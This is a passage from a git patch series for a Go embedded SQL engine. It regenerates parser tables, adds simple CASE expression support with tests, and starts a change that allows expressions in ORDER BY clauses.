-37, -41, -43, 77, + 109, 80, -47, -20, -18, 115, 72, -22, 103, 98, + 99, 100, 101, 102, 85, -19, 91, 92, 84, 96, + 96, 77, 96, 26, -56, 9, -30, 19, 18, -31, + 20, -37, -31, 96, 105, 28, 29, 5, 9, 7, + -65, 7, 115, 115, -39, 61, -61, -60, 96, -6, + 96, 58, 107, -51, 108, 109, 111, 110, 112, 94, + 95, 82, 96, 69, -59, 86, 77, -37, -37, 115, + -37, -38, -37, -21, 106, 115, 115, 115, 105, 80, + 115, 96, 26, 10, -31, -31, -37, 115, 96, 31, + 30, 31, 31, 32, 10, 96, 96, -12, -10, 96, + -10, -55, 6, -37, -39, 107, 95, -25, -27, 115, + 88, 89, 23, 90, -19, 96, -37, -37, -37, -37, + -37, -37, -37, -37, 84, 77, 96, 78, 81, 97, + -6, 116, -66, 73, 106, 100, 110, -22, 96, -37, + -17, -16, -37, 96, -8, -9, 96, 115, 96, 100, + -10, -9, 96, 96, 96, 96, 100, 30, 30, 116, + 107, 116, -45, 64, 25, -55, -60, -37, -55, -28, + -6, 15, 115, 115, 115, 115, -51, -51, 84, -37, + 115, 116, -42, 73, 75, -37, 100, 116, 116, 69, + 116, 107, 107, 97, -10, 115, -63, 11, 12, 13, + 116, 30, -63, 8, 8, -26, 48, -6, 96, -26, + -46, 65, -37, 26, -45, -32, -33, -34, -35, 93, + -51, 116, 21, 116, 116, 96, 116, -6, -16, 76, + -37, -37, 74, 97, -37, -36, -9, 35, 32, -50, + 117, 115, 116, -10, 96, 96, 96, -62, 26, -14, + -15, 115, -37, -11, 96, 115, -46, -39, -33, 59, + -51, 96, -51, -51, 116, -51, 116, 116, 74, -37, + 116, 33, -37, 96, -58, 84, 77, 98, 98, 116, + 52, 107, -17, -10, -44, 62, -25, 116, -37, 34, + 107, 35, -57, 83, 84, 118, 116, 53, -15, 116, + 116, -40, 60, 63, -55, -51, -11, -36, -37, 54, + -53, 66, -37, -13, -22, 26, 116, 107, -45, 63, + 107, -37, -36, -46, -52, -20, -22, 107, -54, 67, + 68, -20, -54, } var yyDef = [...]int16{ @@ -539,54 +537,54 @@ var yyDef = [...]int16{ 103, 0, 109, 3, 0, 0, 0, 0, 47, 0, 15, 16, 135, 0, 0, 18, 0, 0, 30, 0, 0, 0, 33, 0, 0, 0, 0, 147, 0, 0, - 107, 101, 0, 0, 110, 111, 166, -2, 173, 0, - 0, 0, 180, 187, 188, 0, 0, 114, 0, 75, + 107, 101, 0, 0, 110, 111, 166, -2, 175, 0, + 0, 0, 182, 188, 189, 0, 172, 114, 0, 75, 76, 77, 78, 79, 0, 81, 82, 83, 84, 120, 13, 0, 0, 0, 0, 0, 131, 0, 0, 133, 0, 139, 134, 0, 0, 0, 0, 0, 0, 0, 35, 0, 62, 0, 159, 0, 147, 59, 0, 98, 104, 0, 0, 112, 0, 0, 0, 0, 0, 0, - 0, 0, 167, 0, 0, 0, 192, 174, 175, 0, - 0, 0, 185, 0, 115, 0, 0, 0, 71, 0, - 48, 0, 0, 0, 0, 136, 137, 138, 0, 22, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, - 67, 0, 153, 0, 148, 159, 0, 0, 159, 132, - 0, 0, 0, 0, 0, 166, 130, 166, 193, 194, - 195, 196, 197, 198, 199, 200, 0, 168, 0, 0, - 190, 0, 189, 181, 182, 0, 0, 0, 0, 118, - 0, 0, 120, 0, 0, 72, 73, 121, 0, 86, - 0, 0, 0, 43, 0, 23, 24, 0, 26, 27, - 43, 0, 0, 0, 0, 0, 155, 0, 0, 153, - 60, 61, -2, 166, 0, 0, 0, 0, 0, 0, - 128, 113, 201, 176, 0, 177, 0, 186, 0, 119, - 116, 117, 0, 85, 0, 169, 89, 0, 0, 28, - 44, 45, 46, 21, 0, 29, 0, 0, 57, 0, - 56, 68, 52, 53, 0, 154, 0, 155, 147, 141, - -2, 0, 146, 122, 166, 0, 166, 166, 0, 166, - 0, 0, 0, 183, 0, 74, 0, 87, 0, 0, - 94, 0, 0, 19, 0, 25, 31, 32, 51, 0, - 55, 64, 71, 156, 160, 49, 0, 54, 149, 143, - 0, 123, 0, 124, 125, 126, 127, 178, 179, 184, + 0, 0, 167, 0, 0, 0, 193, 176, 177, 0, + 0, 0, 173, 115, 0, 0, 0, 71, 0, 48, + 0, 0, 0, 0, 136, 137, 138, 0, 22, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 63, 67, + 0, 153, 0, 148, 159, 0, 0, 159, 132, 0, + 0, 0, 0, 0, 166, 130, 166, 194, 195, 196, + 197, 198, 199, 200, 201, 0, 168, 0, 0, 191, + 0, 190, 186, 0, 0, 118, 0, 0, 120, 0, + 0, 72, 73, 121, 0, 86, 0, 0, 0, 43, + 0, 23, 24, 0, 26, 27, 43, 0, 0, 0, + 0, 0, 155, 0, 0, 153, 60, 61, -2, 166, + 0, 0, 0, 0, 0, 0, 128, 113, 202, 178, + 0, 179, 0, 0, 0, 0, 119, 116, 117, 0, + 85, 0, 169, 89, 0, 0, 28, 44, 45, 46, + 21, 0, 29, 0, 0, 57, 0, 56, 68, 52, + 53, 0, 154, 0, 155, 147, 141, -2, 0, 146, + 122, 166, 0, 166, 166, 0, 166, 0, 0, 183, + 0, 187, 0, 0, 74, 0, 87, 0, 0, 94, + 0, 0, 19, 0, 25, 31, 32, 51, 0, 55, + 64, 71, 156, 160, 49, 0, 54, 149, 143, 0, + 123, 0, 124, 125, 126, 127, 180, 181, 0, 184, 80, 0, 0, 0, 92, 95, 0, 0, 0, 20, - 0, 0, 0, 0, 151, 0, 159, 166, 0, 169, - 0, 88, 93, 96, 90, 91, 0, 65, 66, 50, - 157, 0, 0, 0, 129, 0, 170, 0, 58, 153, - 0, 152, 150, 69, 0, 17, 169, 155, 0, 0, - 144, 171, 105, 158, 163, 70, 0, 161, 164, 165, - 163, 162, + 0, 0, 0, 0, 151, 0, 159, 166, 185, 0, + 169, 0, 88, 93, 96, 90, 91, 0, 65, 66, + 50, 157, 0, 0, 0, 129, 0, 170, 0, 58, + 153, 0, 152, 150, 69, 0, 17, 169, 155, 0, + 0, 144, 171, 105, 158, 163, 70, 0, 161, 164, + 165, 163, 162, } var yyTok1 = [...]int8{ 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 113, 3, 3, - 116, 117, 111, 109, 108, 110, 114, 112, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 112, 3, 3, + 115, 116, 110, 108, 107, 109, 113, 111, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 118, 3, 119, + 3, 117, 3, 118, } var yyTok2 = [...]int8{ @@ -600,7 +598,7 @@ var yyTok2 = [...]int8{ 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, - 102, 103, 104, 105, 106, 107, 115, + 102, 103, 104, 105, 106, 114, } var yyTok3 = [...]int8{ @@ -1809,154 +1807,160 @@ yydefault: yyVAL.checks = append([]CheckConstraint{{name: yyDollar[2].id, exp: yyDollar[4].exp}}, yyDollar[6].checks...) } case 172: + yyDollar = yyS[yypt-0 : yypt+1] + { + yyVAL.exp = nil + } + case 173: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 173: + case 174: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.exp = yyDollar[1].exp + } + case 175: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 174: + case 176: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 175: + case 177: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 176: + case 178: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 177: + case 179: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 178: + case 180: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 179: + case 181: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 180: + case 182: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 181: - yyDollar = yyS[yypt-3 : yypt+1] - { - yyVAL.exp = yyDollar[2].exp - } - case 182: - yyDollar = yyS[yypt-2 : yypt+1] + case 183: + yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.exp = &CaseWhenExp{ - whenThen: yyDollar[1].whenThenClauses, - elseExp: yyDollar[2].exp, + exp: yyDollar[2].exp, + whenThen: yyDollar[3].whenThenClauses, + elseExp: yyDollar[4].exp, } } - case 183: + case 184: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.whenThenClauses = []whenThenClause{{when: yyDollar[2].exp, then: yyDollar[4].exp}} } - case 184: + case 185: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.whenThenClauses = append(yyDollar[1].whenThenClauses, whenThenClause{when: yyDollar[3].exp, then: yyDollar[5].exp}) } - case 185: + case 186: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 186: + case 187: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 187: + case 188: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 188: + case 189: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 189: + case 190: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 190: + case 191: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 191: + case 192: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 192: + case 193: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 193: + case 194: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 194: + case 195: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 195: + case 196: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 196: + case 197: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 197: + case 198: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp} } - case 198: + case 199: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 199: + case 200: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 200: + case 201: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 201: + case 202: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 2a54b5b972..b8025637d3 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2945,6 +2945,7 @@ type whenThenClause struct { } type CaseWhenExp struct { + exp ValueExp whenThen []whenThenClause elseExp ValueExp } @@ -2970,24 +2971,33 @@ func (ce *CaseWhenExp) inferType(cols map[string]ColDescriptor, params map[strin return t, nil } - inferredType := AnyType + searchType := BooleanType + inferredResType := AnyType + if ce.exp != nil { + t, err := ce.exp.inferType(cols, params, implicitTable) + if err != nil { + return "", err + } + searchType = t + } + for _, e := range ce.whenThen { whenType, err := e.when.inferType(cols, params, implicitTable) if err != nil { return "", err } - if whenType != BooleanType { - return "", fmt.Errorf("%w: argument of CASE/WHEN must be type %s, not type %s", ErrInvalidTypes, BooleanType, whenType) + if whenType != searchType { + return "", fmt.Errorf("%w: argument of CASE/WHEN must be of type %s, not type %s", ErrInvalidTypes, searchType, whenType) } - t, err := checkType(e.then, inferredType) + t, err := checkType(e.then, inferredResType) if err != nil { return "", err } - inferredType = t + inferredResType = t } - return checkType(ce.elseExp, inferredType) + return checkType(ce.elseExp, inferredResType) } func (ce *CaseWhenExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { @@ -3003,6 +3013,15 @@ func (ce *CaseWhenExp) requiresType(t SQLValueType, cols map[string]ColDescripto } func (ce *CaseWhenExp) substitute(params map[string]interface{}) (ValueExp, error) { + var exp ValueExp + if ce.exp != nil { + e, err := ce.exp.substitute(params) + if err != nil { + return nil, err + } + exp = e + } + whenThen := make([]whenThenClause, len(ce.whenThen)) for i, wt := range ce.whenThen { whenValue, err := wt.when.substitute(params) @@ -3020,6 +3039,7 @@ func (ce *CaseWhenExp) substitute(params map[string]interface{}) (ValueExp, erro if ce.elseExp == nil { return &CaseWhenExp{ + exp: exp, whenThen: whenThen, }, nil } @@ -3029,6 +3049,7 @@ func (ce *CaseWhenExp) substitute(params map[string]interface{}) (ValueExp, erro return nil, err } return &CaseWhenExp{ + exp: exp, whenThen: whenThen, elseExp: elseValue, }, nil @@ -3036,6 +3057,9 @@ func (ce *CaseWhenExp) substitute(params map[string]interface{}) (ValueExp, erro func (ce *CaseWhenExp) selectors() []Selector { selectors := make([]Selector, 0) + if ce.exp != nil { + selectors = append(selectors, ce.exp.selectors()...) + } for _, wh := range ce.whenThen { selectors = append(selectors, wh.when.selectors()...) @@ -3049,17 +3073,32 @@ func (ce *CaseWhenExp) selectors() []Selector { } func (ce *CaseWhenExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + var searchValue TypedValue + if ce.exp != nil { + v, err := ce.exp.reduce(tx, row, implicitTable) + if err != nil { + return nil, err + } + searchValue = v + } else { + searchValue = &Bool{val: true} + } + for _, wt := range ce.whenThen { v, err := wt.when.reduce(tx, row, implicitTable) if err != nil { return nil, err } - if v.Type() != BooleanType { - return nil, fmt.Errorf("%w: argument of CASE/WHEN must be type %s, not type %s", ErrInvalidTypes, BooleanType, v.Type()) + if v.Type() != searchValue.Type() { + return nil, fmt.Errorf("%w: argument of CASE/WHEN must be type %s, not type %s", ErrInvalidTypes, v.Type(), searchValue.Type()) } - if v.RawValue() == true { + res, err := v.Compare(searchValue) + if err != nil { + return nil, err + } + if res == 0 { return wt.then.reduce(tx, row, implicitTable) } } diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 5ec6f3d4f6..5f344ad63e 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -841,91 +841,151 @@ func TestYetUnsupportedInSubQueryExp(t *testing.T) { } func TestCaseWhenExp(t *testing.T) { - e, err := ParseExpFromString( - "CASE WHEN salary > 100000 THEN @p0 ELSE @p1 END", - ) - require.NoError(t, err) + t.Run("simple case", func(t *testing.T) { + e, err := ParseExpFromString( + "CASE job_title WHEN 1 THEN true ELSE false END", + ) + require.NoError(t, err) - e, err = e.substitute(map[string]interface{}{"p0": int64(0), "p1": int64(1)}) - require.NoError(t, err) + err = e.requiresType(BooleanType, map[string]ColDescriptor{ + EncodeSelector("", "", "job_title"): {Type: VarcharType}, + }, nil, "") + require.ErrorIs(t, err, ErrInvalidTypes) + require.ErrorContains(t, err, "argument of CASE/WHEN must be of type VARCHAR, not type INTEGER") - err = e.requiresType(IntegerType, map[string]ColDescriptor{ - EncodeSelector("", "", "salary"): {Type: IntegerType}, - }, nil, "") - require.NoError(t, err) + e, err = ParseExpFromString( + "CASE concat(@prefix, job_title) WHEN 'job_engineer' THEN true ELSE false END", + ) + require.NoError(t, err) - require.False(t, e.isConstant()) - require.Nil(t, e.selectorRanges(nil, "", nil, nil)) + e, err = e.substitute(map[string]interface{}{"prefix": "job_"}) + require.NoError(t, err) - row := &Row{ValuesBySelector: map[string]TypedValue{EncodeSelector("", "", "salary"): &Integer{50000}}} - require.Equal(t, - &CaseWhenExp{ - whenThen: []whenThenClause{ - { - when: NewCmpBoolExp(GT, &Integer{50000}, &Integer{100000}), then: &Integer{0}, - }, + v, err := e.reduce(nil, &Row{ + ValuesBySelector: map[string]TypedValue{ + EncodeSelector("", "", "job_title"): &Varchar{"engineer"}, }, - elseExp: &Integer{1}, - }, e.reduceSelectors(row, "")) + }, "") + require.NoError(t, err) + require.Equal(t, v, &Bool{true}) + }) - v, err := e.reduce(nil, row, "") - require.NoError(t, err) - require.Equal(t, int64(1), v.RawValue()) + t.Run("searched case", func(t *testing.T) { + e, err := ParseExpFromString( + "CASE WHEN salary > 100000 THEN @p0 ELSE @p1 END", + ) + require.NoError(t, err) + + e, err = e.substitute(map[string]interface{}{"p0": int64(0), "p1": int64(1)}) + require.NoError(t, err) + + err = e.requiresType(IntegerType, map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, nil, "") + require.NoError(t, err) + + require.False(t, e.isConstant()) + require.Nil(t, e.selectorRanges(nil, "", nil, nil)) + + row := &Row{ValuesBySelector: map[string]TypedValue{EncodeSelector("", "", "salary"): &Integer{50000}}} + require.Equal(t, + &CaseWhenExp{ + whenThen: []whenThenClause{ + { + when: NewCmpBoolExp(GT, &Integer{50000}, &Integer{100000}), then: &Integer{0}, + }, + }, + elseExp: &Integer{1}, + }, e.reduceSelectors(row, "")) + + v, err := e.reduce(nil, row, "") + require.NoError(t, err) + require.Equal(t, int64(1), v.RawValue()) + }) } func TestInferTypeCaseWhenExp(t *testing.T) { - e, err := ParseExpFromString( - "CASE WHEN salary THEN 10 ELSE '0' END", - ) - require.NoError(t, err) + t.Run("simple case", func(t *testing.T) { + e, err := ParseExpFromString( + "CASE department WHEN 'engineering' THEN 0 ELSE 1 END", + ) + require.NoError(t, err) - _, err = e.inferType( - map[string]ColDescriptor{ - EncodeSelector("", "", "salary"): {Type: IntegerType}, - }, - nil, - "", - ) - require.ErrorIs(t, err, ErrInvalidTypes) + _, err = e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "department"): {Type: IntegerType}, + }, + nil, + "", + ) + require.ErrorIs(t, err, ErrInvalidTypes) + require.ErrorContains(t, err, "argument of CASE/WHEN must be of type INTEGER, not type VARCHAR") - e, err = ParseExpFromString( - "CASE WHEN salary > 0 THEN 10 ELSE '0' END", - ) - require.NoError(t, err) + it, err := e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "department"): {Type: VarcharType}, + }, + nil, + "", + ) + require.NoError(t, err) + require.Equal(t, IntegerType, it) + }) - _, err = e.inferType( - map[string]ColDescriptor{ - EncodeSelector("", "", "salary"): {Type: IntegerType}, - }, - nil, - "", - ) - require.ErrorIs(t, err, ErrInferredMultipleTypes) + t.Run("searched case", func(t *testing.T) { + e, err := ParseExpFromString( + "CASE WHEN salary THEN 10 ELSE '0' END", + ) + require.NoError(t, err) - e, err = ParseExpFromString( - "CASE WHEN salary > 0 THEN 10 ELSE 0 END", - ) - require.NoError(t, err) + _, err = e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, + nil, + "", + ) + require.ErrorIs(t, err, ErrInvalidTypes) - it, err := e.inferType( - map[string]ColDescriptor{ - EncodeSelector("", "", "salary"): {Type: IntegerType}, - }, - nil, - "", - ) - require.NoError(t, err) - require.Equal(t, IntegerType, it) + e, err = ParseExpFromString( + "CASE WHEN salary > 0 THEN 10 ELSE '0' END", + ) + require.NoError(t, err) - it, err = e.inferType( - map[string]ColDescriptor{ - EncodeSelector("", "", "salary"): {Type: Float64Type}, - }, - nil, - "", - ) - require.NoError(t, err) - require.Equal(t, IntegerType, it) + _, err = e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, + nil, + "", + ) + require.ErrorIs(t, err, ErrInferredMultipleTypes) + + e, err = ParseExpFromString( + "CASE WHEN salary > 0 THEN 10 ELSE 0 END", + ) + require.NoError(t, err) + + it, err := e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: IntegerType}, + }, + nil, + "", + ) + require.NoError(t, err) + require.Equal(t, IntegerType, it) + + it, err = e.inferType( + map[string]ColDescriptor{ + EncodeSelector("", "", "salary"): {Type: Float64Type}, + }, + nil, + "", + ) + require.NoError(t, err) + require.Equal(t, IntegerType, it) + }) } func TestLikeBoolExpEdgeCases(t *testing.T) { From 0ce2146c35e694c0fd8188ca0e9c43987a04c7ba Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 28 Nov 2024 18:57:14 +0100 Subject: [PATCH 1057/1062] chore(embedded/sql): Allow expressions in ORDER BY clauses Signed-off-by: Stefano Scafiti --- embedded/document/engine.go | 6 +- embedded/sql/catalog.go | 39 +++-- embedded/sql/engine_test.go | 166 +++++++++++++-------- embedded/sql/parser_test.go | 18 +-- embedded/sql/row_reader.go | 14 +- embedded/sql/sort_reader.go | 77 ++++++---- embedded/sql/sort_reader_test.go | 2 +- embedded/sql/sql_grammar.y | 24 +-- embedded/sql/sql_parser.go | 244 ++++++++++++++++--------------- embedded/sql/stmt.go | 121 ++++++++------- 10 files changed, 407 insertions(+), 304 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 553a5b9b4b..2f752353ed 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1408,9 +1408,9 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error return e.sqlEngine.CopyCatalogToTx(ctx, tx) } -func generateSQLOrderByClauses(table *sql.Table, orderBy []*protomodel.OrderByClause) (ordCols []*sql.OrdCol) { +func generateSQLOrderByClauses(table *sql.Table, orderBy []*protomodel.OrderByClause) (ordExps []*sql.OrdExp) { for _, col := range orderBy { - ordCols = append(ordCols, sql.NewOrdCol(table.Name(), col.Field, col.Desc)) + ordExps = append(ordExps, sql.NewOrdCol(table.Name(), col.Field, col.Desc)) } - return ordCols + return ordExps } diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index f9c3d91210..e936ced650 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -266,34 +266,39 @@ func (i *Index) enginePrefix() []byte { return i.table.catalog.enginePrefix } -func (i *Index) coversOrdCols(ordCols []*OrdCol, rangesByColID map[uint32]*typedValueRange) bool { - if !ordColumnsHaveSameDirection(ordCols) { +func (i *Index) coversOrdCols(ordExps []*OrdExp, rangesByColID map[uint32]*typedValueRange) bool { + if !ordExpsHaveSameDirection(ordExps) { return false } - return i.hasPrefix(i.cols, ordCols) || i.sortableUsing(ordCols, rangesByColID) + return i.hasPrefix(i.cols, ordExps) || i.sortableUsing(ordExps, rangesByColID) } -func ordColumnsHaveSameDirection(cols []*OrdCol) bool { - if len(cols) == 0 { +func ordExpsHaveSameDirection(exps []*OrdExp) bool { + if len(exps) == 0 { return true } - desc := cols[0].descOrder - for _, ordCol := range cols[1:] { - if ordCol.descOrder != desc { + desc := exps[0].descOrder + for _, e := range exps[1:] { + if e.descOrder != desc { return false } } return true } -func (i *Index) hasPrefix(columns []*Column, ordCols []*OrdCol) bool { - if len(ordCols) > len(columns) { +func (i *Index) hasPrefix(columns []*Column, ordExps []*OrdExp) bool { + if len(ordExps) > len(columns) { return false } - for j, ordCol := range ordCols { - aggFn, _, colName := ordCol.sel.resolve(i.table.Name()) + for j, ordCol := range ordExps { + sel := ordCol.AsSelector() + if sel == nil { + return false + } + + aggFn, _, colName := sel.resolve(i.table.Name()) if len(aggFn) > 0 { return false } @@ -306,9 +311,14 @@ func (i *Index) hasPrefix(columns []*Column, ordCols []*OrdCol) bool { return true } -func (i *Index) sortableUsing(columns []*OrdCol, rangesByColID map[uint32]*typedValueRange) bool { +func (i *Index) sortableUsing(columns []*OrdExp, rangesByColID map[uint32]*typedValueRange) bool { // all columns before colID must be fixedValues otherwise the index can not be used - aggFn, _, colName := columns[0].sel.resolve(i.table.Name()) + sel := columns[0].AsSelector() + if sel == nil { + return false + } + + aggFn, _, colName := sel.resolve(i.table.Name()) if len(aggFn) > 0 { return false } @@ -327,7 +337,6 @@ func (i *Index) sortableUsing(columns []*OrdCol, rangesByColID map[uint32]*typed if ok && colRange.unitary() { continue } - return false } return false diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 4706150262..cfd351c853 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -3822,19 +3822,19 @@ func TestIndexSelection(t *testing.T) { require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, len(testCase.expectedIndex)) require.Equal(t, specs.DescOrder, testCase.desc) - require.Len(t, specs.groupBySortColumns, len(testCase.expectedGroupBySortCols)) - require.Len(t, specs.orderBySortCols, len(testCase.expectedOrderBySortCols)) + require.Len(t, specs.groupBySortExps, len(testCase.expectedGroupBySortCols)) + require.Len(t, specs.orderBySortExps, len(testCase.expectedOrderBySortCols)) for i, col := range testCase.expectedIndex { require.Equal(t, col, specs.Index.cols[i].Name()) } for i, col := range testCase.expectedGroupBySortCols { - require.Equal(t, col, EncodeSelector(specs.groupBySortColumns[i].sel.resolve("table1"))) + require.Equal(t, col, EncodeSelector(specs.groupBySortExps[i].AsSelector().resolve("table1"))) } for i, col := range testCase.expectedOrderBySortCols { - require.Equal(t, col, EncodeSelector(specs.orderBySortCols[i].sel.resolve("table1"))) + require.Equal(t, col, EncodeSelector(specs.orderBySortExps[i].AsSelector().resolve("table1"))) } }) } @@ -4435,6 +4435,7 @@ func TestOrderBy(t *testing.T) { title VARCHAR[100], age INTEGER, height FLOAT, + weight FLOAT, created_at TIMESTAMP, PRIMARY KEY id @@ -4458,14 +4459,15 @@ func TestOrderBy(t *testing.T) { "id": id, "title": fmt.Sprintf("title%d", rand.Intn(100)), "age": rand.Intn(100), + "weight": 50 + rand.Float64()*50, "height": rand.Float64() * 200, "created": time.Unix(rand.Int63n(100000), 0).UTC(), } - _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, height, created_at) VALUES (@id, @title, @age, @height, @created)", params) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, height, weight, created_at) VALUES (@id, @title, @age, @height, @weight, @created)", params) require.NoError(t, err) } - checkDataItegrity := func(t *testing.T, rows []*Row, table string) { + checkDataIntegrity := func(t *testing.T, rows []*Row, table string) { require.Len(t, rows, rowCount) ids := make(map[int64]struct{}) @@ -4476,10 +4478,12 @@ func TestOrderBy(t *testing.T) { title := row.ValuesBySelector[EncodeSelector("", table, "title")].RawValue().(string) age := row.ValuesBySelector[EncodeSelector("", table, "age")].RawValue().(int64) height := row.ValuesBySelector[EncodeSelector("", table, "height")].RawValue().(float64) + weight := row.ValuesBySelector[EncodeSelector("", table, "weight")].RawValue().(float64) created := row.ValuesBySelector[EncodeSelector("", table, "created_at")].RawValue().(time.Time).UTC() require.Equal(t, fmt.Sprintf("title%d", rand.Intn(100)), title) require.Equal(t, int64(rand.Intn(100)), age) + require.Equal(t, 50+rand.Float64()*50, weight) require.Equal(t, rand.Float64()*200, height) require.Equal(t, time.Unix(rand.Int63n(100000), 0).UTC(), created) @@ -4496,33 +4500,47 @@ func TestOrderBy(t *testing.T) { } type test struct { - columns []string - directions []int - expectedIndex []string + exps []string + directions []int + expectedIndex []string + positionalRefs []int } testCases := []test{ { - columns: []string{"age"}, - directions: []int{1}, + exps: []string{"age"}, + directions: []int{1}, + positionalRefs: []int{3}, + }, + { + exps: []string{"created_at"}, + directions: []int{-1}, + positionalRefs: []int{6}, }, { - columns: []string{"created_at"}, - directions: []int{-1}, + exps: []string{"title", "age"}, + directions: []int{-1, 1}, + positionalRefs: []int{2, 3}, }, { - columns: []string{"title", "age"}, - directions: []int{-1, 1}, + exps: []string{"age", "title", "height"}, + directions: []int{1, -1, 1}, + positionalRefs: []int{3, 2, 4}, + }, + { + exps: []string{"weight/(height*height)"}, + directions: []int{1}, }, { - columns: []string{"age", "title", "height"}, - directions: []int{1, -1, 1}, + exps: []string{"height", "weight"}, + directions: []int{1, -1}, + positionalRefs: []int{4, 5}, }, } runTest := func(t *testing.T, test *test, expectedTempFiles int) []*Row { - orderByCols := make([]string, len(test.columns)) - for i, col := range test.columns { + orderByCols := make([]string, len(test.exps)) + for i, col := range test.exps { orderByCols[i] = col + " " + directionToSql(test.directions[i]) } @@ -4534,11 +4552,6 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) require.Len(t, rows, rowCount) - selectors := make([]string, len(test.columns)) - for i, col := range test.columns { - 